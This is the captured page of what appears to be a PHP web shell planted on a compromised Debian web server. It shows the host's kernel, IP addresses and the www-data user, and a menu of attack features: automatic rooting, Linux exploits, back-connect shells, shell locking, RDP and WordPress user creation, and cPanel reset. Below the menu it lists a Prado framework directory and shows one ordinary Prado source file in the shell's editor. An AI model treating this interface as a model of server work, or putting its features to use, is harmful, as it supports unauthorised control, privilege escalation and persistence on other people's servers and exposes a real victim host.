Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.147.52.243
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TListControl.php
<?php /** * TListControl class file * * @author Robin J. Rogge <rojaro@gmail.com> * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Exception; use Prado\Exceptions\TNotSupportedException; use Prado\TPropertyValue; use Prado\Util\TDataFieldAccessor; use Prado\Web\THttpUtility; use Prado\Exceptions\TInvalidDataValueException; /** * TListControl class * * TListControl is a base class for list controls, such as {@link TListBox}, * {@link TDropDownList}, {@link TCheckBoxList}, etc. * It manages the items and their status in a list control. * It also implements how the items can be populated from template and * data source. * * The property {@link getItems} returns a list of the items in the control. * To specify or determine which item is selected, use the * {@link getSelectedIndex SelectedIndex} property that indicates the zero-based * index of the selected item in the item list. You may also use * {@link getSelectedItem SelectedItem} and {@link getSelectedValue SelectedValue} * to get the selected item and its value. For multiple selection lists * (such as {@link TCheckBoxList} and {@link TListBox}), property * {@link getSelectedIndices SelectedIndices} is useful. * * TListControl implements {@link setAutoPostBack AutoPostBack} which allows * a list control to postback the page if the selections of the list items are changed. * The {@link setCausesValidation CausesValidation} and {@link setValidationGroup ValidationGroup} * properties may be used to specify that validation be performed when auto postback occurs. * * There are three ways to populate the items in a list control: from template, * using {@link setDataSource DataSource} and using {@link setDataSourceID DataSourceID}. * The latter two are covered in {@link TDataBoundControl}. To specify items via * template, using the following template syntax: * <code> * <com:TListControl> * <com:TListItem Value="xxx" Text="yyy" > * <com:TListItem Value="xxx" Text="yyy" Selected="true" > * <com:TListItem Value="xxx" Text="yyy" > * </com:TListControl> * </code> * * When {@link setDataSource DataSource} or {@link setDataSourceID DataSourceID} * is used to populate list items, the {@link setDataTextField DataTextField} and * {@link setDataValueField DataValueField} properties are used to specify which * columns of the data will be used to populate the text and value of the items. * For example, if a data source is as follows, * <code> * $dataSource=array( * array('name'=>'John', 'age'=>31), * array('name'=>'Cary', 'age'=>28), * array('name'=>'Rose', 'age'=>35), * ); * </code> * setting {@link setDataTextField DataTextField} and {@link setDataValueField DataValueField} * to 'name' and 'age' will make the first item's text be 'John', value be 31, * the second item's text be 'Cary', value be 28, and so on. * The {@link setDataTextFormatString DataTextFormatString} property may be further * used to format how the item should be displayed. See {@link formatDataValue()} * for an explanation of the format string. * * The {@link setPromptText PromptText} and {@link setPromptValue PromptValue} properties can * be used to add a dummy list item that will be rendered first. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ abstract class TListControl extends TDataBoundControl implements \Prado\IDataRenderer { /** * @var \Prado\Collections\TListItemCollection item list */ private $_items; /** * @var bool whether items are restored from viewstate */ private $_stateLoaded = false; /** * @var mixed the following selection variables are used * to keep selections when Items are not available */ private $_cachedSelectedIndex = -1; private $_cachedSelectedValue; private $_cachedSelectedIndices; private $_cachedSelectedValues; /** * @return string tag name of the list control */ protected function getTagName() { return 'select'; } /** * @return bool whether to render javascript. */ public function getEnableClientScript() { return $this->getViewState('EnableClientScript', true); } /** * @param bool $value whether to render javascript. */ public function setEnableClientScript($value) { $this->setViewState('EnableClientScript', TPropertyValue::ensureBoolean($value), true); } /** * Adds attributes to renderer. * @param \Prado\Web\UI\THtmlWriter $writer the renderer */ protected function addAttributesToRender($writer) { $page = $this->getPage(); $page->ensureRenderInForm($this); if ($this->getIsMultiSelect()) { $writer->addAttribute('multiple', 'multiple'); } if ($this->getEnabled(true)) { if ($this->getAutoPostBack() && $this->getEnableClientScript() && $page->getClientSupportsJavaScript()) { $this->renderClientControlScript($writer); } } elseif ($this->getEnabled()) { $writer->addAttribute('disabled', 'disabled'); } parent::addAttributesToRender($writer); } /** * Renders the javascript for list control. * @param mixed $writer */ protected function renderClientControlScript($writer) { $writer->addAttribute('id', $this->getClientID()); $this->getPage()->getClientScript()->registerPostBackControl($this->getClientClassName(), $this->getPostBackOptions()); } /** * Gets the name of the javascript class responsible for performing postback for this control. * Derived classes may override this method and return customized js class names. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TListControl'; } /** * @return array postback options for JS postback code */ protected function getPostBackOptions() { $options['ID'] = $this->getClientID(); $options['CausesValidation'] = $this->getCausesValidation(); $options['ValidationGroup'] = $this->getValidationGroup(); $options['EventTarget'] = $this->getUniqueID(); return $options; } /** * Adds object parsed from template to the control. * This method adds only {@link TListItem} objects into the {@link getItems Items} collection. * All other objects are ignored. * @param mixed $object object parsed from template */ public function addParsedObject($object) { // Do not add items from template if items are loaded from viewstate if (!$this->_stateLoaded && ($object instanceof TListItem)) { $index = $this->getItems()->add($object); if (($this->_cachedSelectedValue !== null && $this->_cachedSelectedValue === $object->getValue()) || ($this->_cachedSelectedIndex === $index)) { $object->setSelected(true); $this->_cachedSelectedValue = null; $this->_cachedSelectedIndex = -1; } } } /** * Performs databinding to populate list items from data source. * This method is invoked by dataBind(). * You may override this function to provide your own way of data population. * @param \Traversable $data the data */ protected function performDataBinding($data) { $items = $this->getItems(); if (!$this->getAppendDataBoundItems()) { $items->clear(); } $textField = $this->getDataTextField(); if ($textField === '') { $textField = 0; } $valueField = $this->getDataValueField(); if ($valueField === '') { $valueField = 1; } $textFormat = $this->getDataTextFormatString(); $groupField = $this->getDataGroupField(); foreach ($data as $key => $object) { $item = $items->createListItem(); if (is_array($object) || is_object($object)) { $text = TDataFieldAccessor::getDataFieldValue($object, $textField); $value = TDataFieldAccessor::getDataFieldValue($object, $valueField); $item->setValue($value); if ($groupField !== '') { $item->setAttribute('Group', TDataFieldAccessor::getDataFieldValue($object, $groupField)); } } else { $text = $object; $item->setValue("$key"); } $item->setText($this->formatDataValue($textFormat, $text)); } // SelectedValue or SelectedIndex may be set before databinding // so we make them be effective now if ($this->_cachedSelectedValue !== null) { $this->setSelectedValue($this->_cachedSelectedValue); $this->resetCachedSelections(); } elseif ($this->_cachedSelectedIndex !== -1) { $this->setSelectedIndex($this->_cachedSelectedIndex); $this->resetCachedSelections(); } elseif ($this->_cachedSelectedValues !== null) { $this->setSelectedValues($this->_cachedSelectedValues); $this->resetCachedSelections(); } elseif ($this->_cachedSelectedIndices !== null) { $this->setSelectedIndices($this->_cachedSelectedIndices); $this->resetCachedSelections(); } } private function resetCachedSelections() { $this->_cachedSelectedValue = null; $this->_cachedSelectedIndex = -1; $this->_cachedSelectedValues = null; $this->_cachedSelectedIndices = null; } /** * Creates a collection object to hold list items. * This method may be overriden to create a customized collection. * @return \Prado\Collections\TListItemCollection the collection object */ protected function createListItemCollection() { return new \Prado\Collections\TListItemCollection(); } /** * Saves items into viewstate. * This method is invoked right before control state is to be saved. */ public function saveState() { parent::saveState(); if ($this->_items) { $this->setViewState('Items', $this->_items->saveState(), null); } else { $this->clearViewState('Items'); } } /** * Loads items from viewstate. * This method is invoked right after control state is loaded. */ public function loadState() { parent::loadState(); $this->_stateLoaded = true; if (!$this->getIsDataBound()) { $this->_items = $this->createListItemCollection(); $this->_items->loadState($this->getViewState('Items', null)); } $this->clearViewState('Items'); } /** * @return bool whether this is a multiselect control. Defaults to false. */ protected function getIsMultiSelect() { return false; } /** * @return bool whether performing databind should append items or clear the existing ones. Defaults to false. */ public function getAppendDataBoundItems() { return $this->getViewState('AppendDataBoundItems', false); } /** * @param bool $value whether performing databind should append items or clear the existing ones. */ public function setAppendDataBoundItems($value) { $this->setViewState('AppendDataBoundItems', TPropertyValue::ensureBoolean($value), false); } /** * @return bool a value indicating whether an automatic postback to the server * will occur whenever the user makes change to the list control and then tabs out of it. * Defaults to false. */ public function getAutoPostBack() { return $this->getViewState('AutoPostBack', false); } /** * Sets the value indicating if postback automatically. * An automatic postback to the server will occur whenever the user * makes change to the list control and then tabs out of it. * @param bool $value the value indicating if postback automatically */ public function setAutoPostBack($value) { $this->setViewState('AutoPostBack', TPropertyValue::ensureBoolean($value), false); } /** * @return bool whether postback event trigger by this list control will cause input validation, default is true. */ public function getCausesValidation() { return $this->getViewState('CausesValidation', true); } /** * @param bool $value whether postback event trigger by this list control will cause input validation. */ public function setCausesValidation($value) { $this->setViewState('CausesValidation', TPropertyValue::ensureBoolean($value), true); } /** * @return string the field of the data source that provides the text content of the list items. */ public function getDataTextField() { return $this->getViewState('DataTextField', ''); } /** * @param string $value the field of the data source that provides the text content of the list items. */ public function setDataTextField($value) { $this->setViewState('DataTextField', $value, ''); } /** * @return string the formatting string used to control how data bound to the list control is displayed. */ public function getDataTextFormatString() { return $this->getViewState('DataTextFormatString', ''); } /** * Sets data text format string. * The format string is used in {@link TDataValueFormatter::format()} to format the Text property value * of each item in the list control. * @param string $value the formatting string used to control how data bound to the list control is displayed. * @see TDataValueFormatter::format() */ public function setDataTextFormatString($value) { $this->setViewState('DataTextFormatString', $value, ''); } /** * @return string the field of the data source that provides the value of each list item. */ public function getDataValueField() { return $this->getViewState('DataValueField', ''); } /** * @param string $value the field of the data source that provides the value of each list item. */ public function setDataValueField($value) { $this->setViewState('DataValueField', $value, ''); } /** * @return string the field of the data source that provides the label of the list item groups */ public function getDataGroupField() { return $this->getViewState('DataGroupField', ''); } /** * @param string $value the field of the data source that provides the label of the list item groups */ public function setDataGroupField($value) { $this->setViewState('DataGroupField', $value, ''); } /** * @return int the number of items in the list control */ public function getItemCount() { return $this->_items ? $this->_items->getCount() : 0; } /** * @return bool whether the list control contains any items. */ public function getHasItems() { return ($this->_items && $this->_items->getCount() > 0); } /** * @return \Prado\Collections\TListItemCollection the item collection */ public function getItems() { if (!$this->_items) { $this->_items = $this->createListItemCollection(); } return $this->_items; } /** * @return int the index (zero-based) of the item being selected, -1 if no item is selected. */ public function getSelectedIndex() { if ($this->_items) { $n = $this->_items->getCount(); for ($i = 0; $i < $n; ++$i) { if ($this->_items->itemAt($i)->getSelected()) { return $i; } } } return -1; } /** * @param int $index the index (zero-based) of the item to be selected */ public function setSelectedIndex($index) { if (($index = TPropertyValue::ensureInteger($index)) < 0) { $index = -1; } if ($this->_items) { $this->clearSelection(); if ($index >= 0 && $index < $this->_items->getCount()) { $this->_items->itemAt($index)->setSelected(true); } } $this->_cachedSelectedIndex = $index; if ($this->getAdapter() instanceof IListControlAdapter) { $this->getAdapter()->setSelectedIndex($index); } } /** * @return array list of index of items that are selected */ public function getSelectedIndices() { $selections = []; if ($this->_items) { $n = $this->_items->getCount(); for ($i = 0; $i < $n; ++$i) { if ($this->_items->itemAt($i)->getSelected()) { $selections[] = $i; } } } return $selections; } /** * @param array $indices list of index of items to be selected */ public function setSelectedIndices($indices) { if ($this->getIsMultiSelect()) { if ($this->_items) { $this->clearSelection(); $n = $this->_items->getCount(); foreach ($indices as $index) { if ($index >= 0 && $index < $n) { $this->_items->itemAt($index)->setSelected(true); } } } $this->_cachedSelectedIndices = $indices; } else { throw new TNotSupportedException('listcontrol_multiselect_unsupported', get_class($this)); } if ($this->getAdapter() instanceof IListControlAdapter) { $this->getAdapter()->setSelectedIndices($indices); } } /** * @return null|TListItem the selected item with the lowest cardinal index, null if no item is selected. */ public function getSelectedItem() { if (($index = $this->getSelectedIndex()) >= 0) { return $this->_items->itemAt($index); } else { return null; } } /** * Returns the value of the selected item with the lowest cardinal index. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link getSelectedValue()}. * @return string the value of the selected item with the lowest cardinal index, empty if no selection. * @see getSelectedValue * @since 3.1.0 */ public function getData() { return $this->getSelectedValue(); } /** * Selects an item by the specified value. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link setSelectedValue()}. * @param string $value the value of the item to be selected. * @see setSelectedValue * @since 3.1.0 */ public function setData($value) { $this->setSelectedValue($value); } /** * @return string the value of the selected item with the lowest cardinal index, empty if no selection */ public function getSelectedValue() { $index = $this->getSelectedIndex(); return $index >= 0 ? $this->getItems()->itemAt($index)->getValue() : $this->getPromptValue(); } /** * Sets selection by item value. * Existing selections will be cleared if the item value is found in the item collection. * Note, if the value is null, existing selections will also be cleared. * @param string $value the value of the item to be selected. */ public function setSelectedValue($value) { if ($this->_items) { if ($value === null) { $this->clearSelection(); } elseif (($item = $this->_items->findItemByValue($value)) !== null) { $this->clearSelection(); $item->setSelected(true); } else { $this->clearSelection(); } } $this->_cachedSelectedValue = $value; if ($this->getAdapter() instanceof IListControlAdapter) { $this->getAdapter()->setSelectedValue($value); } } /** * @return array list of the selected item values (strings) */ public function getSelectedValues() { $values = []; if ($this->_items) { foreach ($this->_items as $item) { if ($item->getSelected()) { $values[] = $item->getValue(); } } } return $values; } /** * @param array $values list of the selected item values */ public function setSelectedValues($values) { if ($this->getIsMultiSelect()) { if ($this->_items) { $this->clearSelection(); $lookup = []; foreach ($this->_items as $item) { $lookup[$item->getValue()] = $item; } foreach ($values as $value) { if (isset($lookup["$value"])) { $lookup["$value"]->setSelected(true); } } } $this->_cachedSelectedValues = $values; } else { throw new TNotSupportedException('listcontrol_multiselect_unsupported', get_class($this)); } if ($this->getAdapter() instanceof IListControlAdapter) { $this->getAdapter()->setSelectedValues($values); } } /** * @return string selected value */ public function getText() { return $this->getSelectedValue(); } /** * @param string $value value to be selected */ public function setText($value) { $this->setSelectedValue($value); } /** * Clears all existing selections. */ public function clearSelection() { if ($this->_items) { foreach ($this->_items as $item) { $item->setSelected(false); } } if ($this->getAdapter() instanceof IListControlAdapter) { $this->getAdapter()->clearSelection(); } } /** * @return string the group of validators which the list control causes validation upon postback */ public function getValidationGroup() { return $this->getViewState('ValidationGroup', ''); } /** * @param string $value the group of validators which the list control causes validation upon postback */ public function setValidationGroup($value) { $this->setViewState('ValidationGroup', $value, ''); } /** * @return string the prompt text which is to be displayed as the first list item. * @since 3.1.1 */ public function getPromptText() { return $this->getViewState('PromptText', ''); } /** * @param string $value the prompt text which is to be displayed as the first list item. * @since 3.1.1 */ public function setPromptText($value) { $this->setViewState('PromptText', $value, ''); } /** * @return string the prompt selection value. * @see getPromptText * @since 3.1.1 */ public function getPromptValue() { return $this->getViewState('PromptValue', ''); } /** * @param string $value the prompt selection value. * @see setPromptText * @since 3.1.1 */ public function setPromptValue($value) { $this->setViewState('PromptValue', (string) $value, ''); } /** * Raises OnSelectedIndexChanged event when selection is changed. * This method is invoked when the list control has its selection changed * by end-users. * @param \Prado\TEventParameter $param event parameter */ public function onSelectedIndexChanged($param) { $this->raiseEvent('OnSelectedIndexChanged', $this, $param); $this->onTextChanged($param); } /** * Raises OnTextChanged event when selection is changed. * This method is invoked when the list control has its selection changed * by end-users. * @param \Prado\TEventParameter $param event parameter */ public function onTextChanged($param) { $this->raiseEvent('OnTextChanged', $this, $param); } /** * Renders the prompt text, if any. * @param \Prado\Web\UI\THtmlWriter $writer writer * @since 3.1.1 */ protected function renderPrompt($writer) { $text = $this->getPromptText(); $value = $this->getPromptValue(); if ($value !== '' || $text !== '') { $writer->addAttribute('value', $value); $writer->renderBeginTag('option'); $writer->write(THttpUtility::htmlEncode($text)); $writer->renderEndTag(); $writer->writeLine(); } } /** * Renders body content of the list control. * This method renders items contained in the list control as the body content. * @param \Prado\Web\UI\THtmlWriter $writer writer */ public function renderContents($writer) { $this->renderPrompt($writer); if ($this->_items) { $writer->writeLine(); $previousGroup = null; foreach ($this->_items as $item) { if ($item->getEnabled()) { if ($item->getHasAttributes()) { $group = $item->getAttributes()->remove('Group'); if ($group !== $previousGroup) { if ($previousGroup !== null) { $writer->renderEndTag(); $writer->writeLine(); $previousGroup = null; } if ($group !== null) { $writer->addAttribute('label', $group); $writer->renderBeginTag('optgroup'); $writer->writeLine(); $previousGroup = $group; } } foreach ($item->getAttributes() as $name => $value) { $writer->addAttribute($name, $value); } } elseif ($previousGroup !== null) { $writer->renderEndTag(); $writer->writeLine(); $previousGroup = null; } if ($item->getSelected()) { $writer->addAttribute('selected', 'selected'); } $writer->addAttribute('value', $item->getValue()); $writer->renderBeginTag('option'); $writer->write(THttpUtility::htmlEncode($item->getText())); $writer->renderEndTag(); $writer->writeLine(); } } if ($previousGroup !== null) { $writer->renderEndTag(); $writer->writeLine(); } } } /** * Formats the text value according to a format string. * If the format string is empty, the original value is converted into * a string and returned. * If the format string starts with '#', the string is treated as a PHP expression * within which the token '{0}' is translated with the data value to be formated. * Otherwise, the format string and the data value are passed * as the first and second parameters in {@link sprintf}. * @param string $formatString format string * @param mixed $value the data to be formatted * @return string the formatted result */ protected function formatDataValue($formatString, $value) { if ($formatString === '') { return TPropertyValue::ensureString($value); } elseif ($formatString[0] === '#') { $expression = strtr(substr($formatString, 1), ['{0}' => '$value']); try { return eval("return $expression;"); } catch (Exception $e) { throw new TInvalidDataValueException('listcontrol_expression_invalid', get_class($this), $expression, $e->getMessage()); } } else { return sprintf($formatString, $value); } } }
Close